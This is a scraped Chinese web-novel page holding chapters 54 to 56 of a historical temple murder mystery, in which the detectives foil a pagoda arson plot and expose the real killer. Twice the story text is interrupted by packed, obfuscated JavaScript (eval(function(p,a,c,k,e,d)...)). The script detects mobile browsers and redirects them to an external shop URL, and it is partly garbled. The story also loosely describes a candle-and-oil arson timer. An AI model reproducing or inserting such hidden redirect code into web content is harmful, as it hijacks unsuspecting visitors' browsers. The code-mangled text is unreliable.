p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222441|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但可以见得,他必然倾注了大量心血。 那些佛像密密麻麻地排列在册页上,栩栩如生,蔚为壮观。尽管实际数目不足百尊,但在视觉上却让人感觉用“千”来形容也毫不夸张。 册页最后一页的一角绘制着一张无脸的佛像,佛像手拈荷花的形态已经勾勒妥当,就剩眼耳口鼻还未落于纸上。想来画者吃不准那佛像神态,迟迟不敢下笔。 “慈航师父也是才华横溢啊。”万仙再次夸道。但他的余光瞄到,对方只是直勾勾地看着墨青洲,紧张地咽着口水。 想来也是,有求于仰慕之人,大抵都是这般模样。 墨青洲却摸摸绘图的纸张,道:“你这册页用纸倒是特别,薄如蝉翼,又强硬坚韧。” 慈航赶紧道:“这是圆尘师弟从家乡带来赠予我的雁皮纸。若青洲大人喜欢,我让他再帮您寻一些过来。” 墨青洲摇了摇头,道:“师父有心了。不过我的画作用的皆是澄心堂纸,其它恐怕用不习惯。” 他虽婉拒,但慈航刚才那番奉承,显然让他心情爽朗。只听他继续道:“那就请师父带我再去瞧瞧千佛塔,看看我能否为师父补上这尊佛的相貌神态。” 慈航激动万分,点头如蒜捣,领着墨青洲踩过积水的石板,走向千佛塔。 万仙并未与二人并肩而行,而是扇着折扇站在远处,远远眺望他们。 他瞧见慈航手舞足蹈,似在讲解千佛塔。然后,他把墨青洲引下最底层的一尊佛像前,二人细细打量那尊佛像。 想必这就是慈航迟迟不敢下笔临摹的拈花佛像。 慈航同墨青洲看了许久,待到天空重新下起雨来,二人才急忙从千佛塔前退了回来,赶回了墨青洲入住的客寮。 “把你那册页拿来,我帮你补上最后那几笔。”墨青洲掸掸身上的雨珠,胸有成竹地对慈航道。 慈航眼睛再次一亮,急忙从衣服里掏出那本册页,摊在墨青洲客寮中的画桌上。画桌上,已经备着笔墨。墨青洲气定神闲地入座,拾起笔。 万仙嚷着“能亲眼瞧见名家作画实属难得”,跟着凑上前去。 墨青洲不顾旁人,挥洒自如地落笔,在那尊佛像的空白面孔上巧妙地勾勒,很快就将那幅佛像图绘制完成。补完后的佛像形神兼备,流露出慈悲祥和的气息,又不失其庄严神圣的气质,就连外行人瞧了也得连连称赞,更别说慈航了。 此刻,他脸露欣喜,道:“青洲大人果然运笔如神,技艺超群!了却了我一桩心事。” “不必客气。”墨青洲虽回应着慈航,目光却对上了万仙。 万仙立即躬身道:“今日能见青洲大人亲笔,实属在下的荣幸。” 墨青洲目光如刀地盯着万仙。见万仙抬眼望过来,他又快速地收起这眼神,换成笑眯眯的表情。 万仙也赶紧露出笑颜。 而这边,慈航小心地将册页收好,再次道:“万分感谢青洲大人,我一定会好好收藏这座纸上的千佛塔。愿青洲大人,继续笔若惊鸿,墨染乾坤。阿弥陀佛。” “阿弥陀佛。” 墨青洲双手合十,回应慈航后,慈航便和万仙离开了墨青洲的客寮。 替墨青洲关上房门,万仙向慈航祝贺道:“恭喜慈航师父,得偿所愿。” 慈航连连感谢,然后心满意足地带着他那座纸上千佛塔,离开了走廊。 看着慈航的背影消失,万仙脸色一变,眉头拧起,思绪顺着坠落的雨,一路坠了下去…… 54.第五案:佛寺杀07 “万仙兄,在想什么呢?”雾山角的声音打断了万仙的思绪。 坐在客寮内,对着窗外雨幕出神的万仙收回目光,道:“雾山兄,刚刚是去查案了吗?” 雾山角抱着他那把不忍剑,点点头。他棱角分明的脸庞上,还挂着几滴雨珠。雨珠顺着他的下颚一路流到下巴滴落在地,他也未抬手擦拭一下。想来他也思绪繁杂,无心理会这些小事吧。 “没有收获?”万仙问。 雾山角叹气道:“我将这寺庙里的僧人挨个问了一遍,除了凌缘,谁也不认识什么葡萄、阿梧。我想不明白,谁会对她动手。” “那他们有人可曾见过三公主?譬如有谁进京论道时,遇到过她。” “三公主岂是那么容易遇到的?”雾山角摇头道,“每个人都说,他们只听闻过三公主的大名和她的一些轶事,并未曾与三公主有渊源。” “这样啊……” “万仙兄是觉得,凶手是冲三公主来的?”雾山角推测道,“或许寺里有人对皇家有所不满,所以蓄意报复皇亲贵胄。即使来的是太子、大公主,他也会下毒手?但我又觉得这不太可能,不然也太凑巧了。毕竟凌洛城离京城山高路远的,若真有人要蓄意报复,也不会蛰伏在我们这的寺庙里。而且三公主来龙兴寺,也纯属偶然……” 看着雾山角苦恼的模样,万仙咬了咬嘴唇,道:“其实从一开始,我就有一个推测。只是那时,我觉得自己的想法有点太过荒唐了。” “什么推测?” “寺庙中的众人与三公主都不曾相识,但如果凶手的目标从一开始就是真正的三公主,那么,他可能并不是对三公主有恨意,而是出于某种原因,不想让三公主在龙兴寺出现。” “什么原因?” “雾山兄,一开始,大家都认为三公主来龙兴寺要干什么?” “绘制游历图。”雾山角恍然大悟道,“你是说,寺中有人不想要让公主绘制游历图?就因为这个而杀人?为什么?” 万仙不急着回答他,而是道:“我同王博多来龙兴寺的那天下午,瞧见有人在仔细地打扫千佛塔。那时我们不知墨青洲也会来此,更不清楚三公主此行的目的是绘制游历图。恐怕凶手也不知道。但是当三公主抵达龙兴寺,墨青洲从马车上下来后,众人就都猜到公主大费周章来此的缘由了。她恐怕是要以龙兴寺最壮美的千佛塔为景,绘制游历图。” “那又如何?难道千佛塔有什么秘密,不能被记录到游历图中?” “你可曾听闻千佛塔有何传说?” 雾山角摇摇头。 于是万仙道:“我也从未听王博多、知空住持,抑或是其他僧人提起过千佛塔有什么离奇传说,或神奇秘闻。” “那它只是一处美景罢了,何至于让凶手杀人?” 万仙却想起慈航那句“可惜明月不独照我”,道:“人遇到心爱的美好之物,想要私藏,也并不稀奇。” “你是说凶手想要独享千佛塔之美,但三公主的游历图,势必将这美景昭告天下,于是凶手愤而潜入房内,去杀公主,结果错杀了葡萄姑娘?” 万仙点点头,道:“寻常人遇到这种事,或许只是哀叹,自己心爱之物,不得已要同他人分享了。但凶手却不甘心……” 雾山角不可置信地打断了万仙的话:“可这寺庙里真有这种人吗?” “这便是我为何一开始不敢如此猜测的缘由。我也怀疑,这寺庙中,真有这种对千佛塔爱到疯狂之人吗?” 雾山角注意到万仙双眼闪烁,似乎在追忆着什么,于是问道:“万仙兄,难道你真的发现有这样一个人存在?” 万仙犹豫地吐出三个字:“是慈航。” “慈航?” 万仙将今日慈航找墨青洲补画佛像一事,告诉了雾山角。 雾山角握紧了手中的不忍剑,倏地站了起来。 “雾山兄,可我还没能找到他杀人的确凿证据,只是猜测……”万仙无奈道。 但雾山角却道:“审问一下他,定能找到他的破绽!” 说着,他迈开步子,推开了房门。 门外已是傍晚,断断续续下了一天的雨终于停了。天边爬上晚霞,红彤彤的一片,像泼翻的朱砂砚洇开。 万仙想了想,觉得雾山角说的未尝不是一种办法,于是跟着起身,追随雾山角的脚步出了门。 僧人们的居所与客寮不同,在东侧,需要绕过一条长长的回廊。雾山角走得急,几乎要甩开万仙,万仙紧赶慢赶才追着在走廊上拐过一个弯。 忽然,他瞧见了两个僧人脸上满是疑虑地朝着香积厨走去。那是僧人们生火做饭的地方。 其中一个人僧人疑惑道:“怎么会少了那么多油?怕不是有人偷偷运出去卖钱了吧?我们可以做菜没油,但公主殿下恐怕吃不下这种没有一点油水的饭菜吧。” “就是说。”另一个僧人应和道,“不过应该不会有人能在这种时候偷运出去东西吧?听说衙门的差役还驻守在寺庙外呢。” “那怎么会少了那么多?” “我怎么知道。” “算了,不说了,赶紧走吧,趁着还有时间,多炼点油……香积厨应该还有大豆吧……” 两位僧人越走越远,他们的话也渐渐听不清了。 万仙不由地停下了脚步。 “怎么了?”走在前头的雾山角终于发现自己甩了万仙好一段路,转头疑惑地看着愣在原地的万仙。 “糟了!”万仙猛地用折扇打了一下手,转过身,就朝前奔去。 “万仙!”不明所以的雾山角看到万仙突然撒腿就跑,心里跟着一惊。随即,他也调转了方向,追着万仙而去。 踩过泥泞的石板,溅起飞扬的水花。万仙和雾山角飞奔向的方向是千佛塔。 天还未暗,但千佛塔最顶层却隐隐透出一丝光亮。那是烛火的微光。 这是一根前来祈福的民众留下的香烛。香烛通体红色,上面雕刻着“佛光普照”四个字。中间的烛芯摇曳着火苗,烛身的蜡也慢慢地向下融化。 与平常供奉香烛的方式不同,这根香烛被放置在供桌上的一个木制笔筒中。笔筒里灌着的,正是从香积厨消失的大豆油。几个被捻起来的纸团,浸泡在油中。香烛下半段被油淹没,只要上半段燃烧殆尽,火苗就能点燃被油浸湿的纸团,然后火焰会顺着着火的纸团蔓延到木制的笔筒上。笔筒被点燃,木制的供桌也不能幸免地被火侵蚀。 接着,越来越高的温度,就能点燃地板上洒落的大豆油。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225726|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火焰持续蔓延,终将会汇成一只赤炎巨兽,吞噬整座千佛塔! 当万仙把从赶往香积厨的僧人的话告诉雾山角后,他也意识到可能会发生什么。 “慈航以为杀了三公主,游历图就不能绘制,千佛塔也不会被更多人知道。但是后来,他发现杀错了人,且三公主并没有想要放弃绘制游历图,于是他只能再想办法。”雾山角边跟着万仙朝千佛塔奔去,一边喃喃自语地推测道,“已经发生了命案,恐怕三公主和侍卫会更加谨慎,所以再次对三公主下手,并不是明智之举。那么只有将千佛塔毁了,慈航才能不与他人分享它的壮美。何况,今日,他已经拥有了一座完整的纸上千佛塔。那么,毁掉现实里的千佛塔,他就实现了独享千佛塔的心愿?” 万仙没有回答他的话。他飞扬的乌发和摆动的长衫,在空中划过道道弧线,最终停落在千佛塔门口。 他发现佛塔的木门已被锁上了。 “让开!” 雾山角大喝一声,拔起不忍剑就朝着门锁劈了过去。 “啪嗒!”门锁应声断裂开来,落在地上。 万仙等不及雾山角收起剑,就猛地推开了塔底的门,冲了进去。夕阳洒进千佛塔,照在塔里摆放着的佛像上。他们慈祥地盯着他,不知是想拯救他,还是想被他拯救。 万仙错开眼,朝着楼梯奔去。吱呀作响的楼梯上泼洒着大豆油,泛着淡淡的清香,却让万仙不由地脚底打滑。 他紧紧地抓着扶手,努力稳住身子,踩着油向塔顶奔去。 雾山角也追来了,他显然也没想到楼梯上全是油,一个踉跄差点摔下楼去。好在他有一身武功,快速地扭转身子,这才不至于落得个狼狈的下场。 二人就这么艰难地在陡峭的楼梯上向上攀登。 而与此同时,塔顶上的香烛也正在快速地燃烧着。红色的蜡一点点被融化,消失,逼近那预示着毁灭一切的大豆油和纸团…… 快一点,再快一点!万仙在心中默念,焦急的汗水布满了他的脸庞。 如果来不及,不仅整座千佛塔会被燃烧殆尽,身在其中的他和雾山角也会被火焰吞噬。 为了一座佛塔值得冒这个险吗?脑海里跃出了这样的疑问。 万仙和雾山角没有办法去仔细思考这个问题,但他们的双脚已经给出了答案。 一层,两层,三层…… 打滑的楼梯让人倍感塔顶之遥远。仿佛他们攀爬的不是楼梯,而是天梯。 然而燃烧着的烛火,却不容分说地向下一点点降落。 红色的蜡已经被烧完了一半。那油漂在仅剩的蜡的周围,几乎要朝烛芯没过来了。 火苗即将接触油和纸团! 就在这时,一阵风吹来。 “呼——” 香烛上的火苗猛地摇曳了一下,突然熄灭了,腾出黑色的烟来。 万仙看着被自己吹灭的火苗,终于弯下身子,大口大口地喘着粗气。他听到自己的心跳如大鼓在敲打。砰砰砰,响亮又震撼。 许久,他撩开湿漉漉的长发,站起身来。 而赶上来的雾山角已经从笔筒里,拔出了那根燃烧了一半的香烛。 满手是油的他眼里腾出怒火。 “该死的慈航!” 55.第五案:佛寺杀08 步履蹒跚地离开千佛塔时,万仙和雾山角都显得相当狼狈。路过的僧人见到他们二人,一边向他们双手合十,口诵“阿弥陀佛”,一边面露困惑,似乎在犹豫是否该询问他们遭遇了何事。 雾山角顾不得体面,反复地在衣服上擦拭着手上的油渍,向僧人询问道:“小师父,你刚刚可见过慈航?能否告知他现在身在何处?” “慈航?”那僧人摇头道,“刚刚没见到过他,或许他在他和圆尘的屋里?” 雾山角谢过僧人,领着万仙就朝慈航的居所奔去。 刚踏进僧寮,他们就瞧见了圆尘的身影。他焦急地在用肩膀撞击着一扇紧闭的木门。 “师兄,慈航师兄你在里面吗?师兄,你开门啊!师兄!” 万仙和雾山角对看一眼,顿感不妙,疾步奔去。 “哐当”一声,在二人跑过来准备协助撞门的瞬间,圆尘撞开了木门。 三人瞧见,慈航躺在地上,双眼紧闭,脸色惨白,失去了知觉。 “师兄!”圆尘怔在原地惊呼。 雾山角却已经闪身入内,来到慈航身边,蹲下来探了探他的脉搏。 “他还活着。”他转头对进来的万仙道。 万仙拾起掉落在慈航身旁的一个小药袋,药袋里还残留着一颗药丸。万仙把药丸捏在手里,凑近闻了闻,不由皱眉道:“这药恐怕有毒。” “他服毒自尽?”雾山角转头问僵在门口的圆尘,“究竟是怎么回事?” “我不知道。”圆尘惶恐地摇摇头,道,“慈航师兄带着青洲大人为他补完的画回来后,就抱着画册激动万分,嘴里念叨着,‘死而无憾,死而无憾’。我也替他高兴。可是后来,他忽然就不见了踪影,不知道去干了什么。我虽好奇,但也没有多问。结果刚刚的晚课他也没来,知空住持就叫我下完晚课后来找他,却发现他竟然把自己关在了我们屋里……我不知道他为什么会这样……” 雾山角无奈地收回了目光。而万仙蹲下身,一只手捏住慈航的双颊,一只手伸进了他的嘴巴里。他想催吐,但是慈航奄奄一息的身体只是动弹了一下,什么也没有吐出来。 万仙心里一惊,若真是这样,恐怕他已经回天乏术。 就在这时,门口传来熟悉的声音。 “需要本公主帮忙吗?” 原来是琴瑶公主刚刚撞见万仙和雾山角一路飞奔,心生好奇,带着侍卫山竹追了过来。此刻,她居高临下地看着蹲在地上焦急的众人,撇了撇嘴角,对山竹扬了扬下巴。 山竹点点头,从随身携带的药袋里,掏出了一颗金黄色的药丸。 “这是宫廷御医秘制的紫宸百毒散,或许可以为这和尚续一点命。” 雾山角和圆尘惊讶地看着琴瑶公主。公主出门在外,备着神药无可厚非。但他们没想到她会随意将这么名贵的药丸施舍给一个陌生人。何况,这个陌生人还想杀她…… 雾山角没接着想下去,就见万仙接过了药丸,塞到了慈航的嘴里。 众人紧张地盯着慈航。 琴瑶公主嗤笑道:“这紫宸百毒散虽称得上灵丹妙药,却也不至于像话本里写的神药那般,立刻让人起死回生。而且它能解百毒,也不代表它就能解这和尚如今身上的毒。” 说话间,听到声响的其他僧人也围到了门前。 山竹看到他们向里张望,厉声道:“你们愣在这里干嘛?赶紧带这和尚去医馆啊!” 还处于不知所措中的僧人们如梦初醒。他们喊着“慈航师兄”,踏进屋来。屋内瞬间乱作一团。 万仙从人群抽离,瞄了一眼落在地上,被撞裂开的门闩,俯身在雾山角耳边耳语了几句。 雾山角如同接到指令,一咬嘴唇,转身在这屋里翻找起什么东西来。 当众僧人抬着慈航欲要离开,雾山角结束了搜查,朝着万仙摇了摇头。 万仙沉思片刻,对着簇拥着慈航迈出门去的众人喊道:“且慢!” 僧人们纷纷转头,狐疑地盯着万仙。 万仙道:“其他人可以走,但是圆尘不能走。” 圆尘一愣,舔了舔嘴唇,紧张道:“公子,我同慈航师兄朝夕相处,知道他的忌讳与习性,比其他人更懂如何照料他。” “对啊,公子,你有什么事,吩咐我来做吧。”其中一个小沙弥争先恐后似的道。 万仙坚决地摇了摇头,眼神犀利地刺向圆尘。 “你更懂他,所以更容易设计他,诬陷他,害死他?” “公子,你在说什么?”小沙弥惊呼。 雾山角此时已经疾步向前,箍住了圆尘,将他押了回来。 僧人们纷纷停住脚步,震惊地看着这一切。 雾山角嚷道:“其他人赶紧将慈航送出去救治!” 僧人们虽好奇圆尘的事,却也不敢怠慢慈航的性命,终是抬着慈航朝寺庙外奔去。 而这头,山竹挡在了琴瑶公主面前。看着雾山角将圆尘押回了房间,他才闪身回到公主身旁。 琴瑶公主饶有兴致地看着面前发生的一切,像看一出戏。 只听被押回来的圆尘,慌张地嚷道:“公子,这恐怕有什么误会。” “误会?”万仙拾起门口断裂的门闩,举到留下来的众人面前,道,“被撞开的门闩断口与被预先锯开的门闩断口,二者可是截然不同的。” 琴瑶公主凑近仔细观察,说道:“的确如此。尽管这门闩断口看似是意外撞击所致,但锯切和打磨的痕迹却十分明显。” 万仙点头道:“这说明,刚刚这屋子并非密闭。慈航也并非将自己锁在屋子里,服毒自尽。既然如此,圆尘你为何要演撞门戏码呢?” 圆尘没想到万仙这么快就注意到了门闩,不由低下头去。 “他一是想营造慈航独自在屋里服毒自尽的假象,二是想让我们感觉情况紧急吧?我们随他撞开门,就会被屋里倒在地上的慈航吸引,就不太会留意到他那拙劣刀工伪装出来的门闩断口。”雾山角道。 圆尘沉默着。 万仙冷哼一声,继续道:“这种制造密室的手法,实在老套。一切不过是场拙劣的烂戏罢了。仔细想想也是,慈航有了完整的千佛塔画册,为何非要自尽呢?即使他烧掉千佛塔,怕被人发现,他也完全可以趁乱带着画册远走高飞,没必要搭上自己的性命。我想他之所以必须死,是因为有人想夺走他的画册……” 圆尘终于抬起头,打断他的话道:“我为何要夺走他的画册?” 万仙没有立即回答他的问题,而是朝雾山角点了点头。 雾山角心领神会,示意山竹抓紧圆尘的手。随后,他开始对圆尘进行搜身。 圆尘见他要搜查自己,更是紧张起来,不停地扭动着身体,道:“你要干嘛?你们误会了!大人!你们误会了!” 然而雾山角根本不理会他的挣扎,伸手一探,从他衣服里翻出两样物件。 一件是慈航让墨青洲补全的画册,另一样竟是一把奇特的短刀。刀身狭窄的弧形短刀,反着凌冽的寒光。 “这把短刀,倒是稀奇。”琴瑶公主打量着从圆尘身上搜出的刀,挑眉道,“你一个出家人,带着一把短刀作什么?” 圆尘撇过头去,不愿回答公主的问题。 万仙接过雾山角递过来的短刀,对着圆尘道:“圆尘,你是外邦人吧?凌缘法师曾说过,许多僧人不畏艰险,跋山涉水来龙兴寺修行,甚至还有日本僧人来哩。而你,恐怕也是跨洋而来的日本旅者吧?吾国短刀,刀刃多为直刃或微弧,刃体较宽厚。但这把样貌奇特的短刀,刀刃呈明显弧形,刀身也较窄,恐怕这是你们国家的‘胁差’。” 说着,他转向琴瑶公主,故作随意地补充道:“我游历时,曾见一名日本归来的商人,带回过这种刀。” 琴瑶公主点点头,示意万仙继续说下去。 “其实并不仅仅是这把刀,让我推断出你的身份。在此之前,我就察觉到,你似乎与我们不同。譬如你独自跪拜佛像时,会将额头贴近手背,进行跪拜。但是知空住持带我们礼佛时,可从未有过这样的动作。不过这种跪拜,也许只是个人或地方的差异,当时我并未特别放在心上。但是……”说着,万仙从雾山角的手中,接过了慈航的画册,“这册页的用纸让我无法不再怀疑,你是从异国来的外乡人。在下写话本为生,遇过不少走南闯北、见多识广的书商,所以也曾从他们口中听到过日本国有种纸,纸面光滑,薄而坚韧……” 万仙“唰”的打开了画册,向公主展示道:“就是这种雁皮纸。慈航在请墨青洲补全佛像画作时说过,这纸是圆尘从家乡带回来赠予他的。而这种雁皮纸,就流行于日本国。” 这时,侍卫山竹开口了。比起什么雁皮纸,他似乎对短刀更有兴趣。他问万仙道:“那你们怎么知道,他身上藏有这胁差?” “今日,王博多提醒了我。”万仙想起被关押起来的王博多,不由一笑,道,“用古琴琴弦杀人,是件麻烦的事。单说把七根琴弦一一取下,就要花费不少时间,更别说要将它们绞成一块杀人了。那为何凶手却偏要用它行凶呢?我想,或许凶手一开始带的是其它凶器——他总不可能毫无准备,就潜入到死者的客寮里杀人吧?然而,他带的凶器可能会留下某些明显的痕迹。那晚,因为情势所迫,凶手本打算就用这特别的凶器完成谋杀,但在客寮内,他看到了千芳古琴。为了不留下他所带的凶器的特有痕迹,凶手临时改变计划,费尽心思地取下琴弦,用它勒死了死者。所以当我察觉,圆尘刚刚的撞门是在演戏后,我对他的怀疑就更深了。于是我让小师爷在屋里翻找,企图找到这特殊的凶器。但是小师爷翻找了一遍,并未发现类似凶器的存在。所以我想,它或许被圆尘带在了身上。” 山竹了然地颔首,脸上显出钦佩之色。 琴瑶公主这时对圆尘怒道:“那天晚上,就是你要杀本公主,对吗?本公主与你无冤无仇,你为何要杀我?” 圆尘重新低下头,不发一言。 万仙躬身,对琴瑶公主道:“公主殿下,在下倒有一个推测。” “讲。” “圆尘以为,公主此次莅临龙兴寺,意在以千佛塔为背景,绘制一幅游历图。凭借公主的尊贵身份和青洲大人的声望,这幅游历图无疑将成为众人瞩目的焦点。届时,民间也必将充斥着大量仿冒画作,平民百姓也能目睹这游历图的风采。如此一来,千佛塔也将被全天下知晓。然而,这恰恰是圆尘所不愿见到的情形。” “难道他也爱千佛塔到痴迷的程度,想要将这瑰丽建筑私藏?”雾山角怫然不悦道。 万仙道:“很难说他完全没有这种想法。不过可以肯定的是,他的确一开始就想毁掉千佛塔。但他一开始,其实想利用三公主的死,毁掉千佛塔。” “此话怎讲?”琴瑶公主好奇地问。 “三公主,您乃当今帝皇颇为宠爱的女儿,您若是在龙兴寺丢了性命,帝皇非得将这寺里的一切夷为平地泄愤不可。” 琴瑶公主回忆起太子当年在寺庙不幸摔断腿,给寺庙带来的灾难。她隐约察觉到,尽管她的父皇会遵循既定的礼仪,求神拜佛和举行祭典,但他似乎并不真心信神信佛。所以他的确能干出这种事来。 三公主收回思绪,继而问万仙:“他为何不想让千佛塔被全天下人知晓?为何想要毁掉它?” “未名扬天下的千佛塔被毁,随着时间流逝,就不再会有人将它记起。而圆尘可以在他们的国度,重新建造一座新的千佛塔。独属于他、独属于他们国度的千佛塔。千百年后,或许世人以为是他、是他们的国度创造了这瑰丽的建筑。甚至,他们还可以谎称,他们的千佛塔有据可考——就是这本画册。”万仙举起了慈航的画册,“他们可以谎称,这是他们所建的千佛塔的设计图纸。多年后,当人们看到绘制在雁皮纸上的图画,谁会想到它是出自吾国的建筑?” 雾山角、琴瑶公主、山竹闻言,皆是咋舌。就连圆尘也瞪大了眼睛。显然他没有想到,自己的所思所念,竟被人看穿! 万仙不理会他的惊讶,继续道:“圆尘早就有这样的想法。只是不巧,在毁掉千佛塔,拿走慈航画册之前,三公主莅临了龙兴寺。于是他临时决定,杀死三公主,然后催促慈航赶紧画完画册。接着,他就会夺走画册,趁乱逃走,等着帝皇下令毁掉龙兴寺。但是他没想到,公主与葡萄姑娘调换了身份。 “第二天,圆尘才知自己杀错了人。不仅如此,他还得知三公主坚持要在此调查出真凶,绘制完游历图才走。这时,圆尘开始担心了。他怕时间拖久了,自己会露出破绽,于是决定让慈航替自己顶罪。 “他今日恐怕瞧见了我出门去找王博多。于是他赶紧怂恿慈航去找青洲大人,求他补全册页上最后那张佛像图。他不仅让墨青洲补全了 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他面对被山竹扣押的圆尘,说道:“庆幸的是,万仙还是比你快了一步,吹灭了那可能引发熊熊大火的香烛。你看到千佛塔并未被点燃,而我和万仙却已经赶来找慈航了。在紧急情况下,你只能先上演撞门的戏码,对吗?” 圆尘并不回答雾山角的质问。他只是盯着万仙手上的画册,失了神。 许久之后,他才带着遗憾,缓缓地说道:“自幼我便对营造构筑之事充满热爱。因此,我跟随师父远渡重洋,来此寻求真知。当我游历至此,这千佛塔便吸引了我所有的目光。它的华美,深深地刻印在我的心中!它如此壮丽伟大,却只在凌洛城的民间小有名气,这让我心生难过。于是我的心有了异动。我多么希望,这千佛塔是出自我手,然后名扬四海啊……” “于是你不惜剃发为僧,蛰伏于此?”万仙问道。 圆尘点点头:“我甚至去学过丹青之术。但是我发现,慈航比我更有天赋,也更有功力。而且他也对世上所有美好之物也颇为痴迷。所以我就向他奉上了雁皮纸,怂恿他去临摹千佛塔。他在临摹时,也喜爱上了千佛塔,但恐怕,没有我那般喜爱。” “你那是喜爱吗?”雾山角和山竹异口同声嚷道。 万仙看着圆尘,摇了摇头。 “无论是邀请他国僧侣来此学习佛法教义,让他们回国后创立自己的宗派,还是将造纸、锻刀之术传播至他国,让其根据自身国情进行改造和发展……”万仙举起画册和那把胁差,怒道,“吾国向来慷慨,愿意将卓越的文化恩施四海。然而,我们绝不容忍,有人私自挪用和占有我们先辈的智慧,篡改历史的真相!” 长久地,现场一片寂静。所有人都被万仙那振聋发聩的发言所震撼。 唯有圆尘后来仍止不住地感叹:“五年,我在这里等了五年啊……都怪那慈航,磨磨唧唧,画不完那画册!不然我早就用这提前准备好的毒药毒死他,夺取画册,烧了千佛塔了!” 他越说越激动,最后几乎是吼了出来:“万仙,你的确厉害,但你猜错了一件事。那假公主的确是我杀的。那晚我也确实带了胁差潜入了客寮。但我不是因为发现琴摆在屋内,才去取下琴弦,勒死那姑娘的。” “我想也是。”万仙道,“那晚在客寮外的侍卫被凌缘的迷香迷晕,但客寮内的葡萄姑娘可没有被迷晕。即使后来她睡着,你也不敢去把那七根琴弦一一取下吧?不然,很可能会弄出声响,惊动目标。” “是的。”圆尘笑了笑。 “所以,你进屋的时候,那七根琴弦就已经被取下了?”琴瑶公主问道。 圆尘点点头。 于是万仙道:“恐怕这七根琴弦是葡萄姑娘取自己下的。” “她为什么要取下琴弦,难道……”琴瑶公主想到了葡萄取下琴弦的理由,不由哀叹道,“我的傻葡萄呀。” 万仙也唉声叹气道:“恐怕葡萄姑娘被凌缘拒绝后,心灰意冷,想要自尽吧。所以她才取下了那七根琴弦,将它们绞在一起,想用它们吊死自己。然而取下琴弦后,她面对未知的死亡,迟疑了。她或许想过,为一个已经不爱她的人而死不值得,或许单纯因为害怕死亡,所以暂时放弃了寻死的念头……” “暂时?”琴瑶公主疑惑道。 万仙问圆尘:“葡萄姑娘那晚只是睡着了吧?” 圆尘回答:“是的。她倚着梳妆台,哭到睡着了。” “那你用琴弦勒住她脖子的时候,她可反抗过?” 圆尘迟疑了一下,摇头道:“没有……她没有反抗……这也是我为什么会这么轻松勒死她的原因。” “一般情况下,人被勒住脖子,一定会去抓勒住他的东西,奋力挣扎。而葡萄姑娘的手却完好无损,细腻如常,说明她并没有反抗。”万仙的话让在场的众人回忆起葡萄姑娘的尸体。 琴瑶公主不可置信地问:“她为什么不反抗?” 就连圆尘也不解道:“你这么一说,我也觉得疑惑了。我勒住她的时候,明明感觉到她醒过来了啊……她为什么任由我将她杀死了?” “我想或许是因为梳妆台上的那枚铜镜。”万仙道。 “铜镜?” “你从葡萄姑娘身后勒住了她的脖子,她因为疼痛苏醒了过来。她或许下意识地要反抗,但是她从铜镜里看到了你。你的身形并不高大,又在她身后,所以她可能通过铜镜,只看到了你的头顶,并未看清你的脸。她意识到,是一个和尚想要杀她。她与龙兴寺的其他和尚无冤无仇……” “所以她在那时以为,是凌缘回来要杀她灭口?”琴瑶公主惊呼。 万仙点点头:“当她错误地意识到凌缘想要杀她灭口时,本就伤心欲绝的她,彻底绝望了。她放弃了挣扎,任由圆尘勒死了她。” “哈哈哈……”圆尘听完,笑了起来,“这一切都是天注定……不是吗?如果那晚凌缘师兄没有迷晕侍卫,如果他没有拒绝葡萄姑娘转身离开,如果葡萄姑娘没有伤心难过到忘了重新锁好房门,我也不可能这么轻易进去,让她产生误会,就这么任由我将她杀死……” 圆尘的声音飘荡在空中,无人能辨识,也无人愿意去探究此刻他的声音里隐藏着何种情绪了。 龙兴寺里,今日的暮鼓声终于响起了。 那鼓声一记一记,打进耳中,钻进心里,让人们的灵魂跟着震颤起来…… 56.第五案:佛寺杀09(案终) 安葬完葡萄姑娘后,琴瑶公主回到了龙兴寺。她说,自己并非一定要绘制游历图。之前她坚持留在龙兴寺,其实只是为了调查出杀害葡萄的凶手。 她时常刁蛮任性,连身边的侍卫侍女都要由她喜爱吃的水果命名,但万仙知道她本性是善良的。 万仙正思索间,琴瑶公主又道:“不过,听了圆尘想偷梁换柱的诡计后,我愈发觉得有必要绘制出这张游历图。我要让这千佛塔之美被世人知晓,让四海都记得吾国有这一瑰宝!” 万仙恭敬地作揖道:“公主殿下能有此心意,在下深感钦佩。” 琴瑶公主笑了笑,招来墨青洲,一同前往千佛塔。那里已经摆好了画桌,只是那千芳古琴,不再被琴瑶公主选作道具了。 不过无妨,那千芳古琴若入了画,说不定还会抢走千佛塔的风头呢。 一幅画作,有太多惊艳世人的美,反倒会显得繁杂,令人捉不到重点。 万仙想着,随被释放的王博多,回到客寮歇息。 虽然千芳古琴应该派不上用场,可公主还要他们在此待命。既然她如此发话,万仙和王博多也没有拒绝的理由,只好在龙兴寺多住几天。 王博多可不会闲着。被关押时发生了太多事,他正好奇地等着万仙一一告诉他。 “权当是为我下一册话本打草稿了。”万仙也不推托,他折扇一开,边扇着风,边讲起了这几日的经历…… 两日后,墨青洲画完了琴瑶公主的游历图。万仙和王博多终于可以回去了。 启程前,一直在寺中保护公主的雾山角见到王博多独自在搬古琴,便上来帮忙。 王博多额头渗汗,嘀咕道:“这仙儿哥跑哪里去了?” 雾山角赶紧解释道:“公主叫他去寺中凉亭等她,不知道要同他说什么。” “原来是被公主叫走了呀。”王博多眼里几乎要闪出金光,“该不会是他破案有功,公主想要奖励他什么吧!让我猜猜……该不会是墨青洲的大作吧!那可是值不少钱呢!” 雾山角看着这财迷,无奈地摇了摇头。 “你不如想想,如何跟你爹解释,这千芳古琴为何没了琴弦吧。” “啊啊啊……”王博多抱头尖叫,“大头,你真是让我大头啊!” 